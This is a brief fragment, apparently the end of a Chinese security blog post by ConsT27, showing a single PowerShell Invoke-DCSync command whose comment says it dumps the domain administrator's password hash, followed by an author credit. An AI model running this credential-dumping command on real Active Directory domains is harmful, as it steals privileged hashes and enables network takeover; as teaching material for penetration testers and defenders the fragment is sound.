Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 导出域内administrator账户的hash
原创作者:ConsT27
作者博客:www.const27.com
学习更多技术,关注我: